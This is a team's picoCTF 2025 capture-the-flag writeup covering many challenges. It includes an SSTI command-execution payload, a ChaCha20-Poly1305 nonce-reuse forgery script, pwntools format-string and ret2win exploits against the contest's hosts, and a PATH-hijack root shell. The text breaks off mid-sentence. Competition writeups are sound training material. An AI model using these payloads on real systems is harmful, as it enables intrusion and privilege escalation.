# picoCTF 2025 Writeup by m01nm01n [toc] ## preface * ranking |category|rank| |-|-| |global|15th| |JP Students|5th| ![screencapture-play-picoctf-org-teams-13746-2025-03-18-10_22_15](https://hackmd.io/_uploads/ry_AqBL2yg.png) ## Web Exploitation[WIP] ### Cookie Monster Secret Recipe ### N0S4N1TY 1 ### SSTI 1 `{{ request['application']['__globals__']['__builtins__']['__import__']('os')['\x70\x6f\x70\x65\x6e']('cat flag')['read']() }}` ### WebSockFish Add `sendMessage("eval -10000000000000000000000000000")` to end of `stockfish.onmessage`. ## Cryptography ### hashcrack (solved by yuma) https://md5hashing.net/hash/md5/482c811da5d5b4bc6d497ffa98491e38 ### EVEN RSA CAN BE BROKEN??? (solved by yuma) Nが偶数なのでpが2であることがわかります。 ### Guess My Cheese (Part 1) (solved by yuma) アフィン変換のパラメタでブルートフォース。 ```python= import sympy encrypted_text = "****" def mod_inverse(a, m): try: return sympy.mod_inverse(a, m) except ValueError: return None def affine_decrypt(ciphertext, a, b): decrypted_text = [] mod_inv_a = mod_inverse(a, 26) if mod_inv_a is None: return None for char in ciphertext: if 'A' <= char <= 'Z': x = ord(char) - ord('A') decrypted_char = chr(((mod_inv_a * (x - b)) % 26) + ord('A')) decrypted_text.append(decrypted_char) else: decrypted_text.append(char) return ''.join(decrypted_text) affine_attempts = {} for a in range(26): for b in range(26): decrypted_text = affine_decrypt(encrypted_text, a, b) if decrypted_text: affine_attempts[(a, b)] = decrypted_text print(affine_attempts) ``` ### shuffle (solved by tsune) easy transposition cipher. ```python= encoded = "86}657aabgv_f_ldetbmlrc8{FsCoTipc" decoded = "" for i in range(0, len(encoded), 3): chunk = encoded[i:i+3] if len(chunk) == 3: decoded += chunk[2] + chunk[0] + chunk[1] else: decoded += chunk print(decoded[::-1]) ``` ### Guess My Cheese (Part 2) ### ChaCha Slide (solved by tsune) ChaCha20 is a simple XOR-based cipher using a keystream and plaintext. When the nonce is reused, the keystream remains identical. Thus, we can extract the keystream as shown below: $$ cipher1 = keystream \oplus plain1 $$ $$ keystream = cipher1 \oplus plain1 $$ Additionally, in this case, the Poly1305 authentication protocol is used alongside ChaCha20. If the nonce is reused in Poly1305 authentication, the internal keys (r and s) used for MAC generation will also be identical. Therefore, we can derive the following equation regarding r from the two MAC tags: $$ tag1 = C_{1_1}r^6 + C_{1_2}r^5 + C_{1_3}r^4 + C_{1_4}r^3 + C_{1_5}r^2 + L_1r + s$$ $$ tag2 = C_{2_1}r^6 + C_{2_2}r^5 + C_{2_3}r^4 + C_{2_4}r^3 + C_{2_5}r^2 + L_2r + s$$ $$ C_{n_i} : Block_n[i],L_n:Length(cipher_n) $$ $$ tag1 - tag2 = (C_{1_1}-C_{2_1})r^6 + (C_{1_2}-C_{2_2})r^5 + ... + (L_1 - L_2)r$$ Poly1305 computations occur over the finite field defined by `2^130 − 5`, and the final result is truncated to 128 bits. This truncation introduces uncertainty bits, which is possible to brute-force these error bits to recover the value of r. After recovering `r`, I calculated `s` and successfully generated a forged authentication tag. https://github.com/tex2e/chacha20-poly1305/tree/master ```python= from chacha20poly1305 import * def test_chacha20_aead_encrypt(plaintext:bytes,c): aad = bytes(0) key = bytes.fromhex( "c7d37d5e006d854347d4512f6f71a5bf7c36abcabd7bf3390fdbdedbc1e9a02b" ) #iv = b"" #constant = bytes.fromhex("07000000") nonce = bytes.fromhex("232ac49dfdfc67ddd6a3eecb") nonce = bytes.fromhex("232ac49dfdfc67ddd6a3eecc") ciphertext, tag = chacha20_aead_encrypt(aad, key, nonce, plaintext,c) print(f"{tag=}") print(f"{tag.hex()=}") print(f"{ciphertext=}") print(f"{ciphertext.hex()=}") m1 = "bfb3f409935a8f8245e15d1d000ddee62bb1538f480c7cfeae6b288181d89e4809bb7dd2ba5831fc715f94c7a6291dd7a4ce778469eedc9e80bab7a3ea61bc1481a3266428232cd8e659b116ad8d936f21d9ce589cd8d45d5074971bea955aa0b24f362cc41446ed15" out1 = bytes.fromhex(m1) m2 = "afb2f15dca589fc340fc12035459c6f530e575845d3c34fdf32f6df19adc825959e42694ba4f74f36b1694debb350199b1c970c574e5ccdb82a6bda5ea31a71bcea9677125652710b738678e49b5ca9f3cefbe00756b955aa0b24f362cc41446ed15" out2 = bytes.fromhex(m2) cipher1 = out1[:-28] tag1 = out1[-28:-12] nonce1 = out1[-12:] print(f"{cipher1=}") cipher2 = out2[:-28] tag2 = out2[-28:-12] nonce2 = out2[-12:] print(f"{cipher2=}") def extract_keystream(ciphertext: bytes, plaintext: bytes) -> bytes: if len(ciphertext) != len(plaintext): raise ValueError("invalid cipher and plain") keystream = bytearray(len(ciphertext)) for i in range(len(ciphertext)): keystream[i] = ciphertext[i] ^ plaintext[i] return bytes(keystream) p1 = b"Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?" test_chacha20_aead_encrypt(plaintext=p1,c=cipher1) p2 = b"That means it protects both the confidentiality and integrity of data!" test_chacha20_aead_encrypt(plaintext=p2,c=cipher2) goal = b"But it's only secure if used correctly!" assert(nonce1 == nonce2) nonce = m1[-24:] key1 = extract_keystream(cipher1,p1) key2 = extract_keystream(cipher2,p2) print(f"{key1=}") print(f"{key2=}") assert(key2 in key1) goal= goal.ljust(70,b"A") goalcipher = extract_keystream(goal,key2) test_chacha20_aead_encrypt(plaintext=goal,c=goalcipher) ``` ```python= from sympy import symbols, Poly, GF, factor from sage.all import * import sys P = (1 << 130) - 5 def clamp(r: int) -> int: return (r & (0x0ffffffc0ffffffc0ffffffc0fffffff ^ 0xffffffffffffffffffffffffffffffff)) == 0 def le_bytes_to_num(byte) -> int: res = 0 for i in range(len(byte) - 1, -1, -1): res <<= 8 res += byte[i] return res def poly1305_block_value(block: bytes) -> int: #val = int.from_bytes(block, 'little') val = le_bytes_to_num(block) return val def poly1305_blocks(message: bytes) -> list: blocks = [] for i in range(0, len(message), 16): block = message[i:i+16] blocks.append(poly1305_block_value(block)) return blocks blocks1 = [ 647157759534477252637234504792173491135, 436811556781980693999690436563929641259, 626217807416028501928508922421586017033, 367845064629831081824165666739700879012, 340282380634433653066191368209914307457, 340282366920938464883773901107403685888, ] #blocks2 = poly1305_blocks(msg2) blocks2 = [ 666973112456804531317386950020894405295, 459263131543373221041034593410766726448, 543660532425149209636297760853184668761, 377039648811261415442628034727116851633, 340282366920938463463374718643259025870, 340282366920938464754646692591436824576, ] def solve_r(msg1: bytes, tag1: int, msg2: bytes, tag2: int) -> list: #blocks1 = poly1305_blocks(msg1) if len(blocks1) != len(blocks2): print("invalid cipher text", file=sys.stderr) return [] d = len(blocks1) delta = [ (blocks1[i] - blocks2[i]) % P for i in range(d) ] D = (tag1 - tag2) ca = [] for diff in range(-(2**5),2**5): diffi = (diff << (8*16)) F= GF(P) R = PolynomialRing(F,'r') r = R.gen() eq = sum(delta[i] * (r**(6-i)) for i in range(d)) - D + diffi roots = eq.roots() for ro in roots: tmp = int(ro[0]) if clamp(tmp): ca.append(tmp) print(ca) return ca def pad16(x: bytes) -> bytes: if len(x) % 16 == 0: return b'' return b'\x00' * (16 - (len(x) % 16)) import struct import math def num_to_8_le_bytes(num: int) -> bytes: return struct.pack('<Q', num) def solve_s(r,tag1,tag2) -> bytes: a = 0 # a is the accumulator p = (1<<130) - 5 for i in range(6): n = blocks1[i] print(f"{n=}") a += n a = (r * a) % p tmpa1 = a a = 0 # a is the accumulator p = (1<<130) - 5 for i in range(6): n = blocks2[i] print(f"{n=}") a += n a = (r * a) % p tmpa2 = a for i in range(1<<(8*2)): diff1 = 1<<128 diff1 *= i for j in range(1<<(8*2)): diff2 = 1<<128 diff2 *= j if tag1+diff1-tmpa1 == tag2+diff2-tmpa2: print("s found!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") return tag1+diff1 - tmpa1 goalblock = [ 641712588637191189868450799246484221881, 355614404342532574533283601755670766652, 670226882518496733285902261191059435080, 420749030613081785389569761027042961041, 340282366920938463463374612951946726575, 340282366920938464754646692591436824576, ] def num_to_16_le_bytes(num: int) -> bytes: res = [] for i in range(16): res.append(num & 0xff) num >>= 8 return bytearray(res) def goaltag_gen(r,s) -> bytes: a = 0 # a is the accumulator p = (1<<130) - 5 for i in range(6): n = goalblock[i] a += n a = (r * a) % p a += s return num_to_16_le_bytes(a) def extract_keystream(ciphertext: bytes, plaintext: bytes) -> bytes: if len(ciphertext) != len(plaintext): raise ValueError("invalid cipher and plain") keystream = bytearray(len(ciphertext)) for i in range(len(ciphertext)): keystream[i] = ciphertext[i] ^ plaintext[i] return bytes(keystream) if __name__ == '__main__': msg1 = b"Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?" msg2 = b"That means it protects both the confidentiality and integrity of data!" print(msg1.hex()) print(msg2.hex()) L1 = 77 L2 = 70 goal = b"But it's only secure if used correctly!" goal= goal.ljust(L2,b"A") #m1 = "6ea620bc11d614fc3f7c7a47224cd1e39cc8136ab7759d319b71e2ab5f92334fe4c522876b19aedf3bdb3e4bc38fa3baa7405a0477a44f6858b74c0e4b8ca178db93a4fb965769fd10caf349d15a6343fc727848c9d138b87513a4dd9e232ac49dfdfc67ddd6a3eecb" m1 = "6907a7399d401f7dd5ba69a3cfc662e45fe9df4b6cb5c478c50fbf9e4f8caee6a281d77a1f2e73035bfc11df5ec2df85418614f2fd94c362a3e756bac3e01865126102d26acd743192d2a42736fd600e8b027d866ae00c8c6342d50f15cdaf116fbd47f76c8e378c60" out1 = bytes.fromhex(m1) #out1 = bytes.fromhex("") #m2 = "7ea725e848d404bd3a6135597618c9f0879c3561a245d532c635a7db44962f5eb49a79c16b0eebd021923e52de93bff4b2475d456aaf5f2d5aab46084bdcba779499e5ee9b11978105e1962620e427dbb85d8eca69ed232ac49dfdfc67ddd6a3eecb" m2 = "7906a26dc4420f3cd0a726bd9b927af744bdf94079858c7b984bfaee5488b2f7f2de8c3c1f39360c41b511c643dec3cb548113b3e09fd327a1fb5cbcc3b0036a5d6b43c7678b7391d912a2ca9ffe383177ac95e408f2cdaf116fbd47f76c8e378c60" out2 = bytes.fromhex(m2) #out2 = bytes.fromhex("") m1 = "bfb3f409935a8f8245e15d1d000ddee62bb1538f480c7cfeae6b288181d89e4809bb7dd2ba5831fc715f94c7a6291dd7a4ce778469eedc9e80bab7a3ea61bc1481a3266428232cd8e659b116ad8d936f21d9ce589cd8d45d5074971bea955aa0b24f362cc41446ed15" out1 = bytes.fromhex(m1) m2 = "afb2f15dca589fc340fc12035459c6f530e575845d3c34fdf32f6df19adc825959e42694ba4f74f36b1694debb350199b1c970c574e5ccdb82a6bda5ea31a71bcea9677125652710b738678e49b5ca9f3cefbe00756b955aa0b24f362cc41446ed15" out2 = bytes.fromhex(m2) cipher1 = out1[:-28] tag1 = out1[-28:-12] nonce1 = out1[-12:] print(f"{cipher1=}") cipher2 = out2[:-28] tag2 = out2[-28:-12] nonce2 = out2[-12:] print(f"{cipher2=}") assert(len(cipher1) == L1) assert(len(cipher2) == L2) assert(nonce1 == nonce2) nonce = m1[-24:] key1 = extract_keystream(cipher1,msg1) key2 = extract_keystream(cipher2,msg2) print(f"{key1=}") print(f"{key2=}") assert(key2 in key1) goalcipher = extract_keystream(goal,key2) print(f"{goalcipher=}") print(f"{goalcipher.hex()=}") #cipher1 = cipher1.ljust(80,b"\x00") #cipher2 = cipher2.ljust(80,b"\x00") tag1 = int.from_bytes(tag1,byteorder="little") tag2 = int.from_bytes(tag2,byteorder="little") print(f"{tag1=}") print(f"{tag2=}") if len(msg1) != 77: print("invalid length of msg1") if len(msg2) != 70: print("invalid length of msg2") candidates = solve_r(cipher1, tag1, cipher2, tag2) if candidates: print("r candidate:", candidates) for r in candidates: print(f"{r=}") print(f"\t{solve_s(r,tag1,tag2)=}") s = solve_s(r,tag1,tag2) goaltag = goaltag_gen(r,s) print(f"{goaltag=}") print(f"***BEGIN HACKED***") print( goalcipher.hex() + goaltag.hex() + nonce ) print(f"***END HACKED***") else: print("valid r not found") ``` ### Ricochet ## Reverse Engineering ### Flag Hunters (solved by tsune) insert instruction as showen below ```text= ;RETURN 0 ``` ### Tap into Hash (solved by tsune) simple xor cipher ```python= import hashlib import base64 def xor_bytes(a, b): return bytes(x ^ y for x, y in zip(a, b)) def decrypt(ciphertext, key): block_size = 16 key_hash = hashlib.sha256(key).digest() plaintext = b"" for i in range(0, len(ciphertext), block_size): block = ciphertext[i:i + block_size] plain_block = xor_bytes(block, key_hash) plaintext += plain_block return plaintext key = b'\xffo\xb6\x94g\xe1%\xfd`\x1f-\x1b\x8a\xab\xc5\xb5\xech\x82Q\xe4\xda1}+\x1c\xf1\x91\x83z\x12;' ciphertext = b'\xb8\x948/\xad\x03d\xd8\xa0WOp\xf4\x92\x07&\xe3\x940|\xffYg\x8a\xf5XH\x7f\xa7\xc4\x06!\xb6\x90b}\xa9\x0ee\x8b\xf1P\x1bq\xa5\x98\x07v\xb3\x949-\xfaZ2\xdf\xa0\x02K \xf4\xc5Rp\xad\xc61}\xff\x02g\x8b\xf6X\x13"\xf0\xc3\x04s\xb3\xc6c!\xfaY2\xdd\xa7QI$\xa5\xc0\x0fp\xe6\x94e/\xa9\x034\x8c\xa3V\x1b#\xa1\x94T \xe4\x93b \xaaXb\xd7\xf6U\x1fw\xa7\xc0Uq\xb8\xdb1(\xaa\x0b7\xdb\xf6V\x1a%\xfc\xc2\x03\'\xe2\x971|\xaf\x0fd\x8d\xf0W\x1d~\xf3\xc0\x03"\xe4\xc2qq\xfaTE\xbb\x87\x1bH*\xab\xc2\\\x1b\xb3\xa5Sp\xcfRT\x8d\x95Q[%\x9c\xfeo\x11\xea\xbb1j\xad\x02e\xa7\x9e\x11i<\xa9\xebm>\xc2\xbd^*\xaeX0\xd6\xa4\x06H;\xf2\x94\x03&\xb0\xce6{\xfd\x0cc\xdd\xa5\x03\x1eu\xf7\xc4\x05q\xe2\xc30}\xa9^b\xd8\xa0\x04K"\xe9\x91\x07q\xe5\x95e}\xfaZ4\xd7\xf4V\x19#\xfc\xc5\x03|\xe1\xc5e*\xff\x026\x89\xf7WO%\xf5\x91\x03r\xb4\x929(\xf8\r0\x8a\xa4\x01\x1c\'\xf7\x95\x02 \xe1\xc12}\xfa_7\x89\xf5U\x19r\xf7\x8c\x07t\xe6\xc7cz\xa9\x0b6\x8b\xa7\x06Oq\xfc\x91Q%\xe6\x927(\xfc^0\xd7\xa5Y\x1bt\xa7\xc3\x00r\xb2\x948)\xff\x037\xde\xf6\x03\x1et\xa1\x94\x05\'\xb0\xc01(\xfd\x0f6\x8e\xa2\x06\x18~\xf5\xc25F' decrypted_data = decrypt(ciphertext, key) print(decrypted_data.decode(errors='ignore')) ``` ### Chronohack (solved by tsune) We can predict the seed value. Brute force seed value by mili-second. ```python= import random import time from pwn import * def get_random(length,t): alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" random.seed(int(t)) # seeding with current time s = "" for i in range(length): s += random.choice(alphabet) return s def flag(): with open('/flag.txt', 'r') as picoCTF: content = picoCTF.read() print(content) for i in range(50): p = remote("verbal-sleep.picoctf.net", 60579) token_length = 20 t = time.time() * 1000 -2000 + 50*i for i in range(50): token = get_random(token_length,t+i) print(token) p.sendline(token.encode()) res = p.recvall() if b'picoCTF' in res: print(res) break ``` ### Quantum Scramber (solved by tsune) An encryption function like the following is provided: ```python= def scramble(L): A = L i = 2 while (i < len(A)): A[i-2] += A.pop(i-1) A[i-1].append(A[:i-2]) i += 1 return L ``` This encryption function is reversable. ```python= import ast with open("res", "r") as f: scrambled_data = f.read() result = [] scrambled = ast.literal_eval(scrambled_data) for i in range(len(scrambled)): if i == 0: result.append(scrambled[0][0]) result.append(scrambled[0][1]) else: current = scrambled[i] if len(current) >= 3: result.append(current[0]) result.append(current[2]) elif len(current) == 2: result.append(current[0]) flag = "" for hex_val in result: if isinstance(hex_val, str) and hex_val.startswith('0x'): flag += chr(int(hex_val, 16)) print(flag) ``` ### Binary Instruction 2 (solved by tsune) Based on the hint, I set a breakpoint on the file-related function `KERNELBASE!CreateFile`. Since rcx was read-only, I used the following script to change it to be writable. This allowed me to modify the filename in the rcx using WinDbg. Next, I set a breakpoint on KERNELBASE!WriteFile and successfully obtained the base64-encoded flag. ```windbg bp KERNELBASE!CreateFile bp KERNELBASE!WriteFile ``` ![Screenshot_20250318_123111](https://hackmd.io/_uploads/SylMKw83Je.png) ```cpp= #include <windows.h> #include <stdio.h> int main() { DWORD pid = 4388; HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, pid); if (hProcess == NULL) { printf("Failed to open process: %d\n", GetLastError()); return 1; } LPVOID address = (LPVOID)0x0000000140002000; SIZE_T size = 0x1000; DWORD oldProtect; if (VirtualProtectEx(hProcess, address, size, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("Memory protection changed successfully.\n"); } else { printf("VirtualProtectEx failed: %d\n", GetLastError()); } CloseHandle(hProcess); return 0; } ``` ### perplexed I analyzed the algorithm of the check function using IDA. ![image](https://hackmd.io/_uploads/SJgs4vLnJl.png) Although the decompilation did not accurately represent the part where data is set onto the stack, I determined the stack structure using a debugger, as shown below: ![image](https://hackmd.io/_uploads/SywIrDUh1x.png) ```clike= #include <stdio.h> #include <string.h> #include <stdint.h> char* extract_flag_from_dump() { unsigned char memory_dump[] = { 0xe1, 0xa7, 0x1e, 0xf8, 0x75, 0x23, 0x7b, 0x61, 0xb9, 0x9d, 0xfc, 0x5a, 0x5b, 0xdf, 0x69, 0xd2, 0xfe, 0x1b, 0xed, 0xf4, 0xed, 0x67, 0xf4, 0x00 }; static char flag[28] = {0}; int flagIndex = 0; int bitInByte = 0; unsigned char currentByte = 0; for (unsigned int i = 0; i <= 22; ++i) { for (int j = 0; j <= 7; ++j) { if (!bitInByte) bitInByte = 1; int constBit = 1 << (7 - j); int flagBit = 1 << (7 - bitInByte); unsigned char constByte = memory_dump[i]; if ((constBit & constByte) > 0) { currentByte |= flagBit; } ++bitInByte; if (bitInByte == 8) { flag[flagIndex] = currentByte; currentByte = 0; bitInByte = 0; ++flagIndex; if (flagIndex >= 27) break; } } if (flagIndex >= 27) break; } flag[27] = '\0'; return flag; } int main() { char* flag = extract_flag_from_dump(); printf("flag: %s\n", flag); return 0; } ``` ## Forensics ### RED (solved by yuma) 普通の画像なので、ステガノグラフィを疑う。zstegで見えた。 ```shell yuma@ykali:~/ctf/pico2025/forensics$ zsteg red.png meta Poem .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke." b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==" ``` ### Ph4nt0m 1ntrud3r (solved by yuma) Wiresharkで読み込んで時系列順にすると、base64の文字列が見えるので順番に直すと見つかる。 ### Event-Viewing (solved by yuma) xmlに直してbase64っぽい文字列を3ヶ所探す。(=や==で検索すると見つかる) ## General Skills ### Fantasty CTF (solved by tsune) connect to remote server. ```shell= nc [ip] [port] ``` ### Chalkboard (solved by tsune) I wrote a script that detects error strings by comparing them to normal data. ```python= with open("chalkboardgag.txt","r") as fd: line = fd.readlines() targ = "I WILL NOT BE SNEAKY" for l in line: if targ not in l: for ll,t in zip(l,targ): if ll != t: print(ll,end="") ``` ### Rust fixme 1 (solved by tsune) ```diff= [~/dc/ctf/pico2025/general] >>>diff fixme1/src/main.rs solve1/src/main.rs 5c5 < let key = String::from("CSUCKS") // How do we end statements in Rust? --- > let key = String::from("CSUCKS"); // How do we end statements in Rust? 18c18 < ret; // How do we return in rust? --- > return; // How do we return in rust? 25c25 < ":?", // How do we print out a variable in the println function? --- > "{}", // How do we print out a variable in the println function? 28c28 < } \ No newline at end of file --- > } ``` ### Rust fixme 2 (solved by tsune) ```diff= [~/dc/ctf/pico2025/general] >>>diff fixme2/src/main.rs solve2/src/main.rs 0a1 > /* 36c37,76 < } \ No newline at end of file --- > } > */ > use xor_cryptor::XORCryptor; > > fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) { > // Key for decryption > let key = String::from("CSUCKS"); > > // Editing our borrowed value > borrowed_string.push_str("PARTY FOUL! Here is your flag: "); > > // Create decryption object > let res = XORCryptor::new(&key); > if res.is_err() { > return; > } > let xrc = res.unwrap(); > > // Decrypt flag and append it to borrowed_string > let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer); > borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer)); > println!("{}", borrowed_string); > } > > fn main() { > // Encrypted flag values > let hex_values = [ > "41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", > "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b" > ]; > > // Convert the hexadecimal strings to bytes and collect them into a vector > let encrypted_buffer: Vec<u8> = hex_values.iter() > .map(|&hex| u8::from_str_radix(hex, 16).unwrap()) > .collect(); > > let mut party_foul = String::from("Using memory unsafe languages is a: "); > decrypt(encrypted_buffer, &mut party_foul); > } ``` ### Rust fixme 3 (solved by tsune) ```diff= [~/dc/ctf/pico2025/general] >>>diff fixme3/src/main.rs solve3/src/main.rs 22c22 < // unsafe { --- > unsafe { 34c34 < // } --- > } 49c49 < } \ No newline at end of file --- > } ``` ### YaraRules0x100 (solved by yuma) APIや関数名を入れると偽陽性が出るので、調整が難しかった。 ChatGPTに入れて、バイトパターンや謎のデバッグプロセスを追加したらパスした。 ``$mal_str10 = "DebugActiveProcess"`` ```yara= rule AdvancedMaliciousUPXExecutable { meta: description = "pico" strings: $upx1 = "UPX0" ascii $upx2 = "UPX1" ascii $upx3 = "UPX!" ascii $mal_str1 = "Cr/p0" ascii wide $mal_str2 = "3'+8U" ascii wide $mal_str3 = "CHjM5" ascii wide $mal_str4 = "t%j@" ascii wide $mal_str5 = "l@Y2" ascii wide $mal_str6 = "b3`5d5l5" ascii wide $mal_str7 = "NtQueryInformationProcess" ascii wide // $mal_str8 = "CreateProcessA" ascii wide // $mal_str9 = "TerminateProcess" ascii wide $mal_str10 = "DebugActiveProcess" ascii wide // API呼び出し関連(マルウェア挙動を示唆する可能性) $api_critical1 = "CreateToolhelp32Snapshot" ascii $api_critical2 = "Process32FirstW" ascii $api_critical3 = "Process32NextW" ascii $api_critical4 = "VirtualAllocEx" ascii $api_critical5 = "WriteProcessMemory" ascii $api_critical6 = "SetThreadContext" ascii $api_critical7 = "ResumeThread" ascii // マルウェア固有のバイトパターン $hex1 = { 25 64 64 64 6C 21 30 } // %dddl!0 $hex2 = { 62 33 60 35 64 35 6C 35 } // b3`5d5l5 $hex3 = { 6E 74 51 75 65 72 79 49 6E 66 6F 72 6D 61 74 69 6F 6E 50 72 6F 63 65 73 73 } // NtQueryInformationProcess // 特定のセクション名 $sect1 = ".text" ascii $sect2 = ".rdata" ascii $sect3 = ".data" ascii $sect4 = ".rsrc" ascii $sect5 = ".reloc" ascii $sect6 = ".upx" ascii condition: uint16(0) == 0x5A4D and // MZ header filesize < 100MB and // 不必要な誤知を防ぐためサイズ制限 ( // 高度な条件: API 呼び出し、文字列、およびセクション名の組み合わせ ( (all of ($api_critical*)) and (1 of ($sect*)) ) or // UPXパックされたマルウェアの特定 ( (1 of ($upx*) and 1 of ($mal_str*)) ) or // 特徴的なマルウェア文字列の複数マッチ ( 2 of ($mal_str*) ) or // マルウェアバイトパターンの一致 ( 1 of ($hex*) ) ) } ``` ## Binary Exploitation ### PIE TIME (solved by tsune) Since we are given the address of the main function, we can compute the address of the win function relative to it. ```python= from pwn import * import sys e = ELF("vuln",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc rescued-float.picoctf.net 61281" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 0 g_script = """ set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) sl = lambda b: io.sendline(b) ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() shell = lambda : io.interactive() ru(b"Address of main: ") addr = int(rl().strip(),16) base = addr - e.sym.main win = base + e.sym.win sl(hex(win).encode()) shell() ``` ### hash only 1 (solved by tsune) By adding a custom-made shell script as shown below to /tmp/md5sum which exprted as `$PATH`, a root shell will be launched. ```bash ctf-player@pico-chall$ echo "#!/bin/sh" > /tmp/md5sum -bash: !/bin/sh: event not found ctf-player@pico-chall$ echo "bash -p" >> /tmp/md5sum ctf-player@pico-chall$ chmod +x /tmp/md5sum ctf-player@pico-chall$ export PATH=/tmp:$PATH ctf-player@pico-chall$ ./flaghasher Computing the MD5 hash of /root/flag.txt.... root@challenge:~# ls /root flag.txt root@challenge:~# cat /root/flag.txt picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bfa4a3f5}root@challenge:~# Connection to shape-facility.picoctf.net closed by remote host. Connection to shape-facility.picoctf.net closed. ``` ### PIE TIME 2 (solved by tsune) Leak binary address by format string bugs. The output of format string bugs depends on the machine lol. In this challenge, offset 19 provide me a stable leaking. ```pytho= from pwn import * import sys e = ELF("vuln",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc rescued-float.picoctf.net 50634" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 0 g_script = """ set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data fsb = b"%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p" r() sl(fsb) res = rl().strip().split(b"/")[-1] print(f"{res=}") base = int(res,16) - (0x555555555441-0x555555554000) win = base + e.sym.win sl(hex(win).encode()) shell() ``` ### hash only 2 (solved by tsune) the remote server provide me a jail console. use `chsh` command to change console and do flow same as hash only 1. ### Valley (solved by tsune) The challenge contains obvious format string bugs. I exploited these format string bugs to leak binary and partially overwrite the return address, achieving a ret2win attack. ![Screenshot_20250318_113024](https://hackmd.io/_uploads/rkiacLIn1l.png) ```python= from pwn import * import sys e = ELF("valley",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc shape-facility.picoctf.net 53464" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ set max-visualize-chunk-size 0x300 b *echo_valley+42 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data fsb = b"%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/" r() sl(fsb) res = rl().strip() stk = int(res.split(b"/")[18],16) ebase = int(res.split(b"/")[19],16) - (0x555555555413 - 0x555555554000) print(f"{hex(stk)=}") print(f"{hex(ebase)=}") paybyte(fmtstr_payload(6,{stk-0x8:(ebase+e.sym.print_flag+0x8)&0xffff},write_size="short")) print(f"{len(payload)=}") print(f"{payload=}") payload = payload.replace(b"$lln",b"$hna") print(f"{payload=}") sl(payload) sl(b"exit") shell() ``` ### handoff (solved by tsune) * checksec ```shell= Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No ``` Although the stack is executable, exploitation seems difficult due to the absence of ROP gadgets like `jmp rsp` or `call rsp`. However, this challenge contains a buffer overflow vulnerability, so I successfully obtained a shell using a ROP attack. ```clike= else if (choice == 3) { choice = -1; puts("Thank 